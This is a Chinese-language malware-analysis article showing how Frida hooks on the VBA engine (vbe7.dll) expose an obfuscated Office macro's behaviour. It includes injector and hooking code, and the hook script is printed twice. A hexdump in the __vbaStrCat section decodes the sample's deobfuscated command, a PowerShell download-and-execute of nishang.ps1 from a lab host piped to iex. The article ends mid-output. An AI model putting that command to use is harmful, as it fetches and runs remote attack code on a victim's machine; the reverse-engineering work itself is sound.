使用Frida对Windows平台的程序进行逆向分析
2020-09-21 10:21:06 Author: www.4hou.com(查看原文) 阅读量:365 收藏

Frida由于使用JavaScript语言安装钩子的便利性而在最近变得越来越流行。我看到许多研究都将Frida用于移动平台,但最近Windows似乎在使用方面有了更多的吸引力。在DarunGrim,我们正在研究安全研究人员可以用于日常工作的新方法。Frida是我们认为可用于Windows逆向工程的工具之一。但是,在我们的测试过程中,我们发现符号查找功能是该工具广泛使用的限制因素。我们进行了改进,现在Frida 12.9.8中可以使用它。我们非常感谢OleAndréVadlaRavnås在合并变更方面的帮助。

我们将简要介绍一下所做的更改,并说明如何在现实世界中解决问题时使用改进的符号查找功能。

0x01 对Frida 12.9.8 的改进

Frida使用dbghelp.dll API在Windows平台中查找符号。但是它缺少符号服务器支持。我们增加了对符号服务器的支持,并改进了Windows中传递符号字符串的方式。在较旧的Frida实现中,查找每个符号花费了一些时间,因为它使用通配符模块名称查找任何符号。现在,你可以指定模块名称以加快符号查找的速度。

新的Frida将随symsrv.dll和dbghelp.dll一起提供,以支持包括Microsoft符号服务器在内的符号服务器。

img

这些是我们在Ole的帮助下所做的更改。

· Add load_symbols() and improve the DbgHelp backend

· Migrate agent to new DbgHelp layout on Windows

· Frida 12.9.8

0x02 分析office的恶意宏

使用改进的Frida对一个Office Macro恶意软件进行分析,我们希望将其应用到Frida中进行深度分析。

代码注入

下图显示了Frida通常如何安装hook并从已安装的hook中获取消息。

img

此过程中涉及frida,session,脚本对象,以管理hook安装。hook回调是用JavaScript编写的。

以下代码显示了如何使用这些对象来安装分配给self.script_text变量的JavaScript hook代码以使用process_id变量进行处理的示例。

https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/code.py


import os
import sys
import frida
import process

class Instrumenter:
    def __init__(self, script_text):
        self.sessions = []
        self.script_text = script_text
        self._device = frida.get_local_device()
        self._device.on("child-added", self._on_child_added)
        self._device.on("child-removed", self._on_child_removed)
        self._device.on("output", self._on_output)
        
    def __del__(self):
        for session in self.sessions:
            session.detach()

    def run(self, process_name):
        proc = process.Runner(process_name, suspended = True)
        if not proc.create():
            return
        process_id = proc.get_id()

        self.instrument(process_id)

        if proc:
            proc.resume()

    def instrument(self, process_id):
        session = frida.attach(process_id)
        self.sessions.append(session)
        session.enable_child_gating()
        script = session.create_script(self.script_text)
        script.on('message', self.on_message)
        script.load()

    def on_message(self, message, data):
        print("[%s] => %s" % (message, data))

    def _on_child_added(self, child):
        print("⚡ new child: {}".format(child))
        self.instrument(child.pid)

    def _on_child_removed(self, child):
        print("⚡ child terminated: {}".format(child))

    def _on_output(self, pid, fd, data):
        print("⚡ output: pid={}, fd={}, data={}".format(pid, fd, repr(data)))

符号查找:resolveName

Frida JavaScript API在API文档中有很好的描述。

使用Frida进行hook的第一步是找到目标函数。

如果函数已导出,则只需使用导出的函数名和DLL名称调用Module.findExportByName方法。

Module.findExportByName(dllName, name)

但是,如果该函数未导出并且仅记录在例如PDB符号文件中,则可以调用DebugSymbol.getFunctionByName方法。使用Frida 12.9.8,你可以传递“ DLLName!FunctionName”符号,以在指定特定功能时提高准确性,并在定位它们时获得更好的性能。

有时,为模块加载符号可能很慢,因为它可能来自远程符号服务器。因此,你需要调用DebugSymbol.load方法来启动符号的加载,以便我们加载最少数量的符号。

下面是一个示例代码,该示例代码使用Module.findExportByName和DebugSymbol方法查找任何带符号或导出的函数。它使用字典来缓存其发现,以删除所有重复的信息。如果你要hook大量函数,则可以节省整个符号查找时间。

vbe.js

https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js

var loadedModules = {}
var resolvedAddresses = {}

function resolveName(dllName, name) {
  var moduleName = dllName.split('.')[0]
  var functionName = moduleName + "!" + name

  if (functionName in resolvedAddresses) {
    return resolvedAddresses[functionName]
  }

  log("resolveName " + functionName);
  log("Module.findExportByName " + dllName + " " + name);
  var addr = Module.findExportByName(dllName, name)

  if (!addr || addr.isNull()) {
    if (!(dllName in loadedModules)) {
      log(" DebugSymbol.loadModule " + dllName);

      try {
        DebugSymbol.load(dllName)
      } catch (err) {
        return 0;
      }

      log(" DebugSymbol.load finished");
      loadedModules[dllName] = 1
    }

    try {
      log(" DebugSymbol.getFunctionByName: " + functionName);
      addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
      log(" DebugSymbol.getFunctionByName: addr = " + addr);
    } catch (err) {
      log(" DebugSymbol.getFunctionByName: Exception")
    }
  }

  resolvedAddresses[functionName] = addr
  return addr
}

function loadModuleForAddress(address) {
  var modules = Process.enumerateModules()

  var i
  for (i = 0; i < modules.length; i++) {
    if (address >= modules[i].base && address <= modules[i].base.add(modules[i].size)) {
      log(" " + modules[i].name + ": " + modules[i].base + " " + modules[i].size + " " + modules[i].path)

      var modName = modules[i].path
      if (!(modName in loadedModules)) {
        log("  DebugSymbol.loadModule " + modName);

        try {
          DebugSymbol.load(modName)
        } catch (err) {
          return 0;
        }

        loadedModules[modName] = 1
      }
      break
    }
  }
}

var hookedFunctions = {}
var addressToFunctions = {}
var blackListedFunctions = {
  'I_RpcClearMutex': 1
}

function hookFunction(dllName, funcName, callback) {
  if (funcName in blackListedFunctions) {
    return
  }
  var symbolName = dllName + "!" + funcName
  if (symbolName in hookedFunctions) {
    return
  }
  hookedFunctions[symbolName] = 1

  var addr = resolveName(dllName, funcName)
  if (!addr || addr.isNull()) {
    return
  }

  if (addr in hookedFunctions) {
    return
  }
  hookedFunctions[addr] = 1

  addressToFunctions[addr] = symbolName
  log('Interceptor.attach: ' + symbolName + '@' + addr);
  Interceptor.attach(addr, callback)
}

function hookPointers(address, count) {
  if (address.isNull())
    return

  var currentAddress = address
  for (var i = 0; i < count; i++) {
    var readAddress = ptr(currentAddress).readPointer();
    readAddress = ptr(readAddress)
    var symbolInformation = DebugSymbol.fromAddress(readAddress)

    var name = readAddress
    if (symbolInformation && symbolInformation.name) {
      name = symbolInformation.name
    }

    log('Hooking ' + readAddress + ": " + name)

    try {
      Interceptor.attach(readAddress, {
        onEnter: function (args) {
          log('[+] ' + name)
        }
      })
    } catch (err) {}
    currentAddress = currentAddress.add(4)
  }
}

function hookFunctionNames(moduleName, funcNames) {
  for (var i = 0; i < funcNames.length; i++) {
    var funcName = funcNames[i]

    try {
      hookFunction(moduleName, funcName, {
        onEnter: function (args) {
          var name = ''
          if (this.context.pc in addressToFunctions) {
            name = addressToFunctions[this.context.pc]
          }
          log("[+] " + name + " (" + this.context.pc + ")")
        }
      })
    } catch (err) {
      log("Failed to hook " + funcName)
    }
  }
}

function BytesToCLSID(address) {
  if (address.isNull())
    return

  var data = new Uint8Array(ptr(address).readByteArray(0x10))
  var clsid = "{" + getHexString(data[3]) + getHexString(data[2]) + getHexString(data[1]) + getHexString(data[0])
  clsid += '-' + getHexString(data[5]) + getHexString(data[4])
  clsid += '-' + getHexString(data[7]) + getHexString(data[6])
  clsid += '-' + getHexString(data[8]) + getHexString(data[9])
  clsid += '-' + getHexString(data[10]) + getHexString(data[11]) + getHexString(data[12]) + getHexString(data[13]) + getHexString(data[14]) + getHexString(data[15])
  clsid += '}'

  return clsid
}

function log(message) {
  console.log(message)
}

function dumpAddress(address) {
  log('[+] address: ' + address);

  if (address.isNull())
    return
  var data = ptr(address).readByteArray(50);
  log(hexdump(data, {
    offset: 0,
    length: 50,
    header: true,
    ansi: false
  }));
}

function dumpBytes(address, length) {
  if (address.isNull())
    return
  var data = ptr(address).readByteArray(length);
  log(hexdump(data, {
    offset: 0,
    length: length,
    header: true,
    ansi: false
  }));
}

function dumpSymbols(address, count) {
  if (address.isNull())
    return

  var currentAddress = address
  for (var i = 0; i < count; i++) {
    var readAddress = ptr(currentAddress).readPointer();
    readAddress = ptr(readAddress)
    var symbolInformation = DebugSymbol.fromAddress(readAddress)

    if (symbolInformation && symbolInformation.name) {
      log(currentAddress + ":\t" + readAddress + " " + symbolInformation.name)
    } else {
      log(currentAddress + ":\t" + readAddress)
    }
    currentAddress = currentAddress.add(4)
  }
}

function dumpBSTR(address) {
  log('[+] address: ' + address);

  if (address.isNull())
    return

  var length = ptr(address - 4).readULong(4);
  log("length: " + length)
  var data = ptr(address).readByteArray(length);
  log(hexdump(data, {
    offset: 0,
    length: length,
    header: true,
    ansi: false
  }));
}

function getString(address) {
  if (address.isNull())
    return

  var dataString = ''

  var offset = 0
  var stringEnded = false
  while (!stringEnded) {
    var data = new Uint8Array(ptr(address.add(offset)).readByteArray(10));

    if (data.length <= 0) {
      break
    }

    var i;
    for (i = 0; i < data.length; i++) {
      if (data[i] == 0x0) {
        stringEnded = true
        break
      }
      dataString += String.fromCharCode(data[i])
    }
    offset += data.length
  }

  log("dataString: " + dataString)
  return dataString;
}

function dumpWSTR(address) {
  if (address.isNull())
    return

  var dataString = ''

  var offset = 0
  var stringEnded = false
  while (!stringEnded) {
    var data = new Uint8Array(ptr(address.add(offset)).readByteArray(20));

    if (data.length <= 0) {
      break
    }

    var i;
    for (i = 0; i < data.length; i += 2) {
      if (data[i] == 0x0 && data[i + 1] == 0x0) {
        stringEnded = true
        break
      }
      dataString += String.fromCharCode(data[i])
    }
    offset += data.length
  }

  log("dataString: " + dataString)
  return dataString;
}

function hookRtcShell(moduleName) {
  hookFunction(moduleName, "rtcShell", {
    onEnter: function (args) {
      log("[+] rtcShell")
      var variantArg = ptr(args[0])
      dumpAddress(variantArg);
      var bstrPtr = ptr(variantArg.add(8).readULong())
      dumpBSTR(bstrPtr);
    }
  })
}

function hookVBAStrCat(moduleName) {
  hookFunction(moduleName, "__vbaStrCat", {
    onEnter: function (args) {
      log("[+] __vbaStrCat")
      // log('[+] ' + name);
      // dumpBSTR(args[0]);
      // dumpBSTR(args[1]);
    },
    onLeave: function (retval) {
      dumpBSTR(retval);
    }
  })
}

function hookVBAStrComp(moduleName) {
  hookFunction(moduleName, "__vbaStrComp", {
    onEnter: function (args) {
      log('[+] __vbaStrComp');
      log(ptr(args[1]).readUtf16String())
      log(ptr(args[2]).readUtf16String())
    }
  })
}

function hookRtcCreateObject(moduleName) {
  hookFunction(moduleName, "rtcCreateObject", {
    onEnter: function (args) {
      log('[+] rtcCreateObject');
      dumpAddress(args[0]);
      dumpBSTR(args[0]);
      log(ptr(args[0]).readUtf16String())
    },
    onLeave: function (retval) {
      dumpAddress(retval);
    }
  })
}

function hookRtcCreateObject2(moduleName) {
  hookFunction(moduleName, "rtcCreateObject2", {
    onEnter: function (args) {
      log('[+] rtcCreateObject2');
      dumpAddress(args[0]);
      dumpBSTR(args[1]);
      log(ptr(args[2]).readUtf16String())
    },
    onLeave: function (retval) {
      dumpAddress(retval);
    }
  })
}

//  int __stdcall CVbeProcs::CallMacro(CVbeProcs *this, const wchar_t *)
function hookCVbeProcsCallMacro(moduleName) {
  hookFunction(moduleName, "CVbeProcs::CallMacro", {
    onEnter: function (args) {
      log('[+] CVbeProcs::CallMacro');
      dumpAddress(args[0]);
      dumpWSTR(args[1]);
    },
    onLeave: function (retval) {
      dumpAddress(retval);
    }
  })
}

function hookDispCall(moduleName) {
  hookFunction(moduleName, "DispCallFunc", {
    onEnter: function (args) {
      log("[+] DispCallFunc")
      var pvInstance = args[0]
      var oVft = args[1]
      var instance = ptr(ptr(pvInstance).readULong());

      log(' instance:' + instance);
      log(' oVft:' + oVft);
      var vftbPtr = instance.add(oVft)
      log(' vftbPtr:' + vftbPtr);
      var functionAddress = ptr(ptr(vftbPtr).readULong())

      loadModuleForAddress(functionAddress)
      var functionName = DebugSymbol.fromAddress(functionAddress)

      if (functionName) {
        log(' functionName:' + functionName);
      }

      dumpAddress(functionAddress);

      var currentAddress = functionAddress
      for (var i = 0; i < 10; i++) {
        try {
          var instruction = Instruction.parse(currentAddress)
          log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
          currentAddress = instruction.next
        } catch (err) {
          break
        }
      }
    }
  })
}

hookRtcShell('vbe7')
hookVBAStrCat('vbe7')
hookVBAStrComp('vbe7')
hookRtcCreateObject('vbe7')
hookRtcCreateObject2('vbe7')
hookCVbeProcsCallMacro('vbe7')
hookDispCall('oleaut32')

设置符号路径

在Windows环境下设置符号服务器有多种方法,建议你从命令行设置_NT_SYMBOL_PATH变量。Windows调试器的符号路径对变量的用法有很好的描述。

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/symbol-path

以下将使用“ c:\ symbols”作为其本地符号存储来缓存正式的Microsoft符号服务器。

setx _NT_SYMBOL_PATH SRV*c:\symbols*https://msdl.microsoft.com/download/symbols

以下命令将使系统使用默认的符号存储目录。

setx _NT_SYMBOL_PATH SRV*https://msdl.microsoft.com/download/symbols

运行恶意软件并观察行为

我们使用以下示例测试Frida的符号查找功能。恶意样本做了一些混淆,可以使用Frida hook轻松分析。

img

我们在此处提供的代码可从以下GitHub存储库中找到。

https://github.com/ohjeongwook/Frida.examples.vbe

var loadedModules = {}
var resolvedAddresses = {}

function resolveName(dllName, name) {
  var moduleName = dllName.split('.')[0]
  var functionName = moduleName + "!" + name

  if (functionName in resolvedAddresses) {
    return resolvedAddresses[functionName]
  }

  log("resolveName " + functionName);
  log("Module.findExportByName " + dllName + " " + name);
  var addr = Module.findExportByName(dllName, name)

  if (!addr || addr.isNull()) {
    if (!(dllName in loadedModules)) {
      log(" DebugSymbol.loadModule " + dllName);

      try {
        DebugSymbol.load(dllName)
      } catch (err) {
        return 0;
      }

      log(" DebugSymbol.load finished");
      loadedModules[dllName] = 1
    }

    try {
      log(" DebugSymbol.getFunctionByName: " + functionName);
      addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
      log(" DebugSymbol.getFunctionByName: addr = " + addr);
    } catch (err) {
      log(" DebugSymbol.getFunctionByName: Exception")
    }
  }

  resolvedAddresses[functionName] = addr
  return addr
}

因此,当你启动Word进程且进程ID为3064时,可以使用以下命令从存储库中包含的vbe.js安装hook。安装hook之后,你可以打开恶意文档以观察其行为。

> python inject.py -p 3064 vbe.js

resolveName vbe7!rtcShell
Module.findExportByName vbe7 rtcShell
Interceptor.attach: vbe7!rtcShell@0x652a2b76
resolveName vbe7!__vbaStrCat
Module.findExportByName vbe7 __vbaStrCat
 DebugSymbol.loadModule vbe7
 DebugSymbol.load finished
 DebugSymbol.getFunctionByName: vbe7!__vbaStrCat
 DebugSymbol.getFunctionByName: addr = 0x651e53e6
Interceptor.attach: vbe7!__vbaStrCat@0x651e53e6
resolveName vbe7!__vbaStrComp
Module.findExportByName vbe7 __vbaStrComp
 DebugSymbol.getFunctionByName: vbe7!__vbaStrComp
 DebugSymbol.getFunctionByName: addr = 0x651e56a2
Interceptor.attach: vbe7!__vbaStrComp@0x651e56a2
resolveName vbe7!rtcCreateObject
Module.findExportByName vbe7 rtcCreateObject
Interceptor.attach: vbe7!rtcCreateObject@0x653e6e4c
resolveName vbe7!rtcCreateObject2
Module.findExportByName vbe7 rtcCreateObject2
Interceptor.attach: vbe7!rtcCreateObject2@0x653e6ece
resolveName vbe7!CVbeProcs::CallMacro
Module.findExportByName vbe7 CVbeProcs::CallMacro
 DebugSymbol.getFunctionByName: vbe7!CVbeProcs::CallMacro
 DebugSymbol.getFunctionByName: addr = 0x6529019b
Interceptor.attach: vbe7!CVbeProcs::CallMacro@0x6529019b
resolveName oleaut32!DispCallFunc
Module.findExportByName oleaut32 DispCallFunc
Interceptor.attach: oleaut32!DispCallFunc@0x747995b0
[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.

hook监控office的宏行为

vbe.js很少有hook来监视恶意Office文档的行为。

__vbaStrCat

vbe7.dll是已找到Visual Basic运行时引擎的DLL,里面有很多有趣的函数。但是首先,我们想观察字符串去混淆操作

vbe7!__ vbaStrCat是在Visual Basic中串联字符串时调用的函数。

.text:651E53E6 ; __stdcall __vbaStrCat(x, x)
.text:651E53E6 ___vbaStrCat@8  proc near               ; CODE XREF: _lblEX_ConcatStr↑p

许多基于宏的恶意软件文档都使用基于字符串的混淆。通过观察字符串的动作,你可以观察最终的去混淆字符串的构造。

以下hook代码将为每个调用打印出连接的字符串。

https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js


var loadedModules = {}
var resolvedAddresses = {}

function resolveName(dllName, name) {
  var moduleName = dllName.split('.')[0]
  var functionName = moduleName + "!" + name

  if (functionName in resolvedAddresses) {
    return resolvedAddresses[functionName]
  }

  log("resolveName " + functionName);
  log("Module.findExportByName " + dllName + " " + name);
  var addr = Module.findExportByName(dllName, name)

  if (!addr || addr.isNull()) {
    if (!(dllName in loadedModules)) {
      log(" DebugSymbol.loadModule " + dllName);

      try {
        DebugSymbol.load(dllName)
      } catch (err) {
        return 0;
      }

      log(" DebugSymbol.load finished");
      loadedModules[dllName] = 1
    }

    try {
      log(" DebugSymbol.getFunctionByName: " + functionName);
      addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
      log(" DebugSymbol.getFunctionByName: addr = " + addr);
    } catch (err) {
      log(" DebugSymbol.getFunctionByName: Exception")
    }
  }

  resolvedAddresses[functionName] = addr
  return addr
}

function loadModuleForAddress(address) {
  var modules = Process.enumerateModules()

  var i
  for (i = 0; i < modules.length; i++) {
    if (address >= modules[i].base && address <= modules[i].base.add(modules[i].size)) {
      log(" " + modules[i].name + ": " + modules[i].base + " " + modules[i].size + " " + modules[i].path)

      var modName = modules[i].path
      if (!(modName in loadedModules)) {
        log("  DebugSymbol.loadModule " + modName);

        try {
          DebugSymbol.load(modName)
        } catch (err) {
          return 0;
        }

        loadedModules[modName] = 1
      }
      break
    }
  }
}

var hookedFunctions = {}
var addressToFunctions = {}
var blackListedFunctions = {
  'I_RpcClearMutex': 1
}

function hookFunction(dllName, funcName, callback) {
  if (funcName in blackListedFunctions) {
    return
  }
  var symbolName = dllName + "!" + funcName
  if (symbolName in hookedFunctions) {
    return
  }
  hookedFunctions[symbolName] = 1

  var addr = resolveName(dllName, funcName)
  if (!addr || addr.isNull()) {
    return
  }

  if (addr in hookedFunctions) {
    return
  }
  hookedFunctions[addr] = 1

  addressToFunctions[addr] = symbolName
  log('Interceptor.attach: ' + symbolName + '@' + addr);
  Interceptor.attach(addr, callback)
}

function hookPointers(address, count) {
  if (address.isNull())
    return

  var currentAddress = address
  for (var i = 0; i < count; i++) {
    var readAddress = ptr(currentAddress).readPointer();
    readAddress = ptr(readAddress)
    var symbolInformation = DebugSymbol.fromAddress(readAddress)

    var name = readAddress
    if (symbolInformation && symbolInformation.name) {
      name = symbolInformation.name
    }

    log('Hooking ' + readAddress + ": " + name)

    try {
      Interceptor.attach(readAddress, {
        onEnter: function (args) {
          log('[+] ' + name)
        }
      })
    } catch (err) {}
    currentAddress = currentAddress.add(4)
  }
}

function hookFunctionNames(moduleName, funcNames) {
  for (var i = 0; i < funcNames.length; i++) {
    var funcName = funcNames[i]

    try {
      hookFunction(moduleName, funcName, {
        onEnter: function (args) {
          var name = ''
          if (this.context.pc in addressToFunctions) {
            name = addressToFunctions[this.context.pc]
          }
          log("[+] " + name + " (" + this.context.pc + ")")
        }
      })
    } catch (err) {
      log("Failed to hook " + funcName)
    }
  }
}

function BytesToCLSID(address) {
  if (address.isNull())
    return

  var data = new Uint8Array(ptr(address).readByteArray(0x10))
  var clsid = "{" + getHexString(data[3]) + getHexString(data[2]) + getHexString(data[1]) + getHexString(data[0])
  clsid += '-' + getHexString(data[5]) + getHexString(data[4])
  clsid += '-' + getHexString(data[7]) + getHexString(data[6])
  clsid += '-' + getHexString(data[8]) + getHexString(data[9])
  clsid += '-' + getHexString(data[10]) + getHexString(data[11]) + getHexString(data[12]) + getHexString(data[13]) + getHexString(data[14]) + getHexString(data[15])
  clsid += '}'

  return clsid
}

function log(message) {
  console.log(message)
}

function dumpAddress(address) {
  log('[+] address: ' + address);

  if (address.isNull())
    return
  var data = ptr(address).readByteArray(50);
  log(hexdump(data, {
    offset: 0,
    length: 50,
    header: true,
    ansi: false
  }));
}

function dumpBytes(address, length) {
  if (address.isNull())
    return
  var data = ptr(address).readByteArray(length);
  log(hexdump(data, {
    offset: 0,
    length: length,
    header: true,
    ansi: false
  }));
}

function dumpSymbols(address, count) {
  if (address.isNull())
    return

  var currentAddress = address
  for (var i = 0; i < count; i++) {
    var readAddress = ptr(currentAddress).readPointer();
    readAddress = ptr(readAddress)
    var symbolInformation = DebugSymbol.fromAddress(readAddress)

    if (symbolInformation && symbolInformation.name) {
      log(currentAddress + ":\t" + readAddress + " " + symbolInformation.name)
    } else {
      log(currentAddress + ":\t" + readAddress)
    }
    currentAddress = currentAddress.add(4)
  }
}

function dumpBSTR(address) {
  log('[+] address: ' + address);

  if (address.isNull())
    return

  var length = ptr(address - 4).readULong(4);
  log("length: " + length)
  var data = ptr(address).readByteArray(length);
  log(hexdump(data, {
    offset: 0,
    length: length,
    header: true,
    ansi: false
  }));
}

function getString(address) {
  if (address.isNull())
    return

  var dataString = ''

  var offset = 0
  var stringEnded = false
  while (!stringEnded) {
    var data = new Uint8Array(ptr(address.add(offset)).readByteArray(10));

    if (data.length <= 0) {
      break
    }

    var i;
    for (i = 0; i < data.length; i++) {
      if (data[i] == 0x0) {
        stringEnded = true
        break
      }
      dataString += String.fromCharCode(data[i])
    }
    offset += data.length
  }

  log("dataString: " + dataString)
  return dataString;
}

function dumpWSTR(address) {
  if (address.isNull())
    return

  var dataString = ''

  var offset = 0
  var stringEnded = false
  while (!stringEnded) {
    var data = new Uint8Array(ptr(address.add(offset)).readByteArray(20));

    if (data.length <= 0) {
      break
    }

    var i;
    for (i = 0; i < data.length; i += 2) {
      if (data[i] == 0x0 && data[i + 1] == 0x0) {
        stringEnded = true
        break
      }
      dataString += String.fromCharCode(data[i])
    }
    offset += data.length
  }

  log("dataString: " + dataString)
  return dataString;
}

function hookRtcShell(moduleName) {
  hookFunction(moduleName, "rtcShell", {
    onEnter: function (args) {
      log("[+] rtcShell")
      var variantArg = ptr(args[0])
      dumpAddress(variantArg);
      var bstrPtr = ptr(variantArg.add(8).readULong())
      dumpBSTR(bstrPtr);
    }
  })
}

function hookVBAStrCat(moduleName) {
  hookFunction(moduleName, "__vbaStrCat", {
    onEnter: function (args) {
      log("[+] __vbaStrCat")
      // log('[+] ' + name);
      // dumpBSTR(args[0]);
      // dumpBSTR(args[1]);
    },
    onLeave: function (retval) {
      dumpBSTR(retval);
    }
  })
}

function hookVBAStrComp(moduleName) {
  hookFunction(moduleName, "__vbaStrComp", {
    onEnter: function (args) {
      log('[+] __vbaStrComp');
      log(ptr(args[1]).readUtf16String())
      log(ptr(args[2]).readUtf16String())
    }
  })
}

function hookRtcCreateObject(moduleName) {
  hookFunction(moduleName, "rtcCreateObject", {
    onEnter: function (args) {
      log('[+] rtcCreateObject');
      dumpAddress(args[0]);
      dumpBSTR(args[0]);
      log(ptr(args[0]).readUtf16String())
    },
    onLeave: function (retval) {
      dumpAddress(retval);
    }
  })
}

function hookRtcCreateObject2(moduleName) {
  hookFunction(moduleName, "rtcCreateObject2", {
    onEnter: function (args) {
      log('[+] rtcCreateObject2');
      dumpAddress(args[0]);
      dumpBSTR(args[1]);
      log(ptr(args[2]).readUtf16String())
    },
    onLeave: function (retval) {
      dumpAddress(retval);
    }
  })
}

//  int __stdcall CVbeProcs::CallMacro(CVbeProcs *this, const wchar_t *)
function hookCVbeProcsCallMacro(moduleName) {
  hookFunction(moduleName, "CVbeProcs::CallMacro", {
    onEnter: function (args) {
      log('[+] CVbeProcs::CallMacro');
      dumpAddress(args[0]);
      dumpWSTR(args[1]);
    },
    onLeave: function (retval) {
      dumpAddress(retval);
    }
  })
}

function hookDispCall(moduleName) {
  hookFunction(moduleName, "DispCallFunc", {
    onEnter: function (args) {
      log("[+] DispCallFunc")
      var pvInstance = args[0]
      var oVft = args[1]
      var instance = ptr(ptr(pvInstance).readULong());

      log(' instance:' + instance);
      log(' oVft:' + oVft);
      var vftbPtr = instance.add(oVft)
      log(' vftbPtr:' + vftbPtr);
      var functionAddress = ptr(ptr(vftbPtr).readULong())

      loadModuleForAddress(functionAddress)
      var functionName = DebugSymbol.fromAddress(functionAddress)

      if (functionName) {
        log(' functionName:' + functionName);
      }

      dumpAddress(functionAddress);

      var currentAddress = functionAddress
      for (var i = 0; i < 10; i++) {
        try {
          var instruction = Instruction.parse(currentAddress)
          log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
          currentAddress = instruction.next
        } catch (err) {
          break
        }
      }
    }
  })
}

hookRtcShell('vbe7')
hookVBAStrCat('vbe7')
hookVBAStrComp('vbe7')
hookRtcCreateObject('vbe7')
hookRtcCreateObject2('vbe7')
hookCVbeProcsCallMacro('vbe7')
hookDispCall('oleaut32')

这是一个示例输出,显示了最终的去混淆字符串。

[+] __vbaStrCat
[+] address: 0x2405009c
length: 328
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00  C.:.\.W.i.n.d.o.
00000010  77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00  w.s.\.S.y.s.t.e.
00000020  6d 00 33 00 32 00 5c 00 72 00 75 00 6e 00 64 00  m.3.2.\.r.u.n.d.
00000030  6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00  l.l.3.2...e.x.e.
00000040  20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00   .C.:.\.U.s.e.r.
00000050  73 00 5c 00 74 00 65 00 73 00 74 00 65 00 72 00  s.\.t.e.s.t.e.r.
00000060  5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00  \.A.p.p.D.a.t.a.
00000070  5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00  \.L.o.c.a.l.\.T.
00000080  65 00 6d 00 70 00 5c 00 70 00 6f 00 77 00 65 00  e.m.p.\.p.o.w.e.
00000090  72 00 73 00 68 00 64 00 6c 00 6c 00 2e 00 64 00  r.s.h.d.l.l...d.
000000a0  6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00  l.l.,.m.a.i.n. .
000000b0  2e 00 20 00 7b 00 20 00 49 00 6e 00 76 00 6f 00  .. .{. .I.n.v.o.
000000c0  6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00  k.e.-.W.e.b.R.e.
000000d0  71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00  q.u.e.s.t. .-.u.
000000e0  73 00 65 00 62 00 20 00 68 00 74 00 74 00 70 00  s.e.b. .h.t.t.p.
000000f0  3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 31 00  :././.1.9.2...1.
00000100  36 00 38 00 2e 00 31 00 30 00 2e 00 31 00 30 00  6.8...1.0...1.0.
00000110  30 00 3a 00 38 00 30 00 38 00 30 00 2f 00 6e 00  0.:.8.0.8.0./.n.
00000120  69 00 73 00 68 00 61 00 6e 00 67 00 2e 00 70 00  i.s.h.a.n.g...p.
00000130  73 00 31 00 20 00 7d 00 20 00 5e 00 7c 00 20 00  s.1. .}. .^.|. .
00000140  69 00 65 00 78 00 3b 00                          i.e.x.;.

这是另一个示例,显示了如何从混淆后的字符串构造“ WScript.Shell”字符串。

[+] __vbaStrCat
[+] address: 0x23fa653c
length: 14
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  69 00 70 00 74 00 2e 00 53 00 68 00 65 00        i.p.t...S.h.e.
[+] __vbaStrCat
[+] address: 0x188e2624
length: 8
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  26 00 48 00 36 00 63 00                          &.H.6.c.
[+] __vbaStrCat
[+] address: 0xe5b82a4
length: 16
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00  i.p.t...S.h.e.l.
[+] __vbaStrCat
[+] address: 0x23fa6e24
length: 8
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  26 00 48 00 36 00 63 00                          &.H.6.c.
[+] __vbaStrCat
[+] address: 0x23fa6a8c
length: 18
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00  i.p.t...S.h.e.l.
00000010  6c 00                                            l.
[+] __vbaStrCat
[+] address: 0xe5b82a4
length: 26
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00  W.S.c.r.i.p.t...
00000010  53 00 68 00 65 00 6c 00 6c 00                    S.h.e.l.l.

rtcCreateObject2

恶意宏显示的许多行为之一是创建对象来执行系统操作,执行此操作的函数是rtcCreateObject2。

.text:653E6ECE ; int __stdcall rtcCreateObject2(int, LPCOLESTR szUserName, wchar_t *Str2)
.text:653E6ECE                 public _rtcCreateObject2@8
.text:653E6ECE _rtcCreateObject2@8 proc near           ; DATA XREF: .text:off_651D379C↑o

在VB引擎中创建新对象时,将调用rtcCreateObject2函数。

以下hook监视args [2]参数(wchar_t * Str2),该参数包含它创建的对象名称。

https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js

function hookRtcCreateObject2(moduleName) {
  hookFunction(moduleName, "rtcCreateObject2", {
    onEnter: function (args) {
      log('[+] rtcCreateObject2');
      dumpAddress(args[0]);
      dumpBSTR(args[1]);
      log(ptr(args[2]).readUtf16String())
    },
    onLeave: function (retval) {
      dumpAddress(retval);
    }
  })
}

示例会话显示了CreateObject方法创建WScript.Shell对象。该对象用于从脚本运行外部命令,我们可以预期该脚本将运行外部恶意命令。

[+] rtcCreateObject2
[+] address: 0xef66dc
